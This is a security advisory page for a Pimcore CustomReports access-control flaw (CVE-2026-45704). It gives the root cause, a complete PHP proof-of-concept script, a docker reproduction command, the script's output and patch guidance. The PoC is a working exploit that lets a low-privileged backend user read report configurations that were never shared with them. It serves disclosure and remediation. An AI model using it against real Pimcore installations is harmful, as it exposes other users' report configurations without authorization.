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Pimcore EUVDEUVD-2026-45277

| CVE-2026-45704 HIGH
Incorrect Authorization (CWE-863)
2026-05-27 https://github.com/pimcore/pimcore GHSA-jwcc-gv4m-93x6
7.1
CVSS 4.0 · Vendor: https://github.com/pimcore/pimcore
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Severity by source

Vendor (https://github.com/pimcore/pimcore) PRIMARY
7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.5 MEDIUM

Network-reachable admin endpoint (AV:N/AC:L), but requires an authenticated low-privileged backend user (PR:L); confirmed impact is read-only config disclosure, so C:H and I:N/A:N.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/pimcore/pimcore).

CVSS VectorVendor: https://github.com/pimcore/pimcore

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

5
Analysis Updated
Jul 17, 2026 - 20:34 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jul 17, 2026 - 20:22 vuln.today
cvss_changed
CVSS changed
Jul 17, 2026 - 20:22 NVD
7.1 (HIGH)
Source Code Evidence Fetched
May 27, 2026 - 23:17 vuln.today
Analysis Generated
May 27, 2026 - 23:17 vuln.today

DescriptionCVE.org

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.

  • The listing flow filters reports based on report-sharing rules
  • The detail flow only checks generic reports or reports_config permissions

As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.

In the local Docker reproduction:

  • The report poc-secret-report was not visible to the low-privileged user in the report list
  • The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():

However, getAction() only checks generic permissions and then loads the report directly by name:

This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:

  • Report name
  • Grouping information
  • Display and icon metadata
  • Data source configuration
  • Column configuration
  • Sharing settings

From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:

This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the reports permission
  • The target report is not globally shared and is not shared with that user or the user's roles

PoC

php
<?php
declare(strict_types=1);

use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_customreports');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_customreports');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
    $auditor->setPermissions(['reports']);
    $auditor->setRoles([]);
    $auditor->save();

    $timestamp = time();
    SettingsStore::set(
        'poc-secret-report',
        json_encode([
            'name' => 'poc-secret-report',
            'niceName' => 'PoC Secret Report',
            'group' => 'Audit',
            'dataSourceConfig' => [['type' => 'sql']],
            'columnConfiguration' => [],
            'shareGlobally' => false,
            'sharedUserNames' => ['admin'],
            'sharedRoleNames' => [],
            'menuShortcut' => true,
            'creationDate' => $timestamp,
            'modificationDate' => $timestamp,
        ], JSON_THROW_ON_ERROR),
        SettingsStore::TYPE_STRING,
        'pimcore_custom_reports'
    );

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new CustomReportController(), $container, $tokenResolver);

    $listRequest = new Request();
    $requestStack->push($listRequest);
    $listResponse = $controller->getReportConfigAction($listRequest);
    $requestStack->pop();
    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $getRequest = new Request(['name' => 'poc-secret-report']);
    $requestStack->push($getRequest);
    $getResponse = $controller->getAction($getRequest);
    $requestStack->pop();
    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

    echo json_encode([
        'vulnerability' => 'customreports_share_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_report' => [
            'name' => 'poc-secret-report',
            'shared_to' => ['admin'],
            'share_globally' => false,
        ],
        'result' => [
            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
            'listed_report_names' => $listedNames,
            'direct_get_returned_name' => $getData['name'] ?? null,
            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_customreports with the reports permission.
  2. Create a report named poc-secret-report with:
  • shareGlobally = false
  • sharedUserNames = ['admin']
  1. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent.
  2. As the same user, call getAction(name=poc-secret-report) directly.
  3. Verify that the response still contains the report configuration.

Reproduction command:

bash
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php

Reproduction Result

Relevant PoC output:

json
{
  "vulnerability": "customreports_share_bypass",
  "user": {
    "name": "auditor_customreports",
    "permissions": [
      "reports"
    ]
  },
  "target_report": {
    "name": "poc-secret-report",
    "shared_to": [
      "admin"
    ],
    "share_globally": false
  },
  "result": {
    "report_visible_in_list": false,
    "listed_report_names": [],
    "direct_get_returned_name": "poc-secret-report",
    "direct_get_shared_user_names": [
      "admin"
    ]
  }
}

This shows that:

  • The current user cannot see the report in the visible report list
  • The same user can still retrieve the report configuration directly

This confirms that the share-bypass issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of report configuration
  • Disclosure of sharing scope and internal report structure
  • Potential leakage of data-source and query organization details
  • Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

  1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
  2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
  3. Return 403 for unshared reports.
  4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.

AnalysisAI

Broken access control in Pimcore's CustomReports bundle lets an authenticated low-privileged backend user holding only the generic 'reports' permission read report configurations they were never granted access to. The listing endpoint filters reports by sharing rules while the detail endpoint (getAction) checks only generic permissions and then loads the report directly by name, so a report hidden from a user's visible list is still retrievable by name. A working PoC in the vendor advisory confirms the bypass; it is not in CISA KEV, EPSS is very low (0.03%), and vendor patches are available.

Technical ContextAI

Pimcore is an open-source PHP (Symfony-based) data and experience management platform distributed as composer/pimcore/pimcore. The flaw lives in bundles/CustomReportsBundle, where two code paths guard the same report object with different authorization models. getReportConfigAction() enumerates reports through loadForGivenUser() (Config/Listing/Dao.php), which applies per-user/per-role sharing filters, whereas getAction() only verifies the coarse 'reports'/'reports_config' permission before loading the Tool\Config by name. This is CWE-863 (Incorrect Authorization): the object-level sharing decision is enforced inconsistently across endpoints. The advisory notes that data, chart, drillDownOptions, create-csv, and download-csv resolve reports by name in the same unprotected way, so the missing check is systemic rather than a single-endpoint slip.

RemediationAI

Vendor-released patch: upgrade to Pimcore 12.3.6, 11.5.17, or 2026.1.2 depending on your branch. The fix (PR https://github.com/pimcore/pimcore/pull/19099, commit 1893ff1cd116e442b995ddf17e8c6e0aa372268e) adds a centralized assertUserCanAccessReport() helper backed by a new Config::isUserAllowed() method and enforces it on getAction, dataAction, drillDownOptionsAction, chartAction, and createCsvAction, returning 403 for reports the user cannot access. If you cannot upgrade immediately, restrict the 'reports' backend permission to trusted operators only and audit/minimize which low-privileged users and roles hold it (trade-off: those users lose all custom-report access), and consider restricting network access to the Pimcore admin backend to limit who can reach the affected endpoints. Full details: https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6.

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EUVD-2026-45277 vulnerability details – vuln.today

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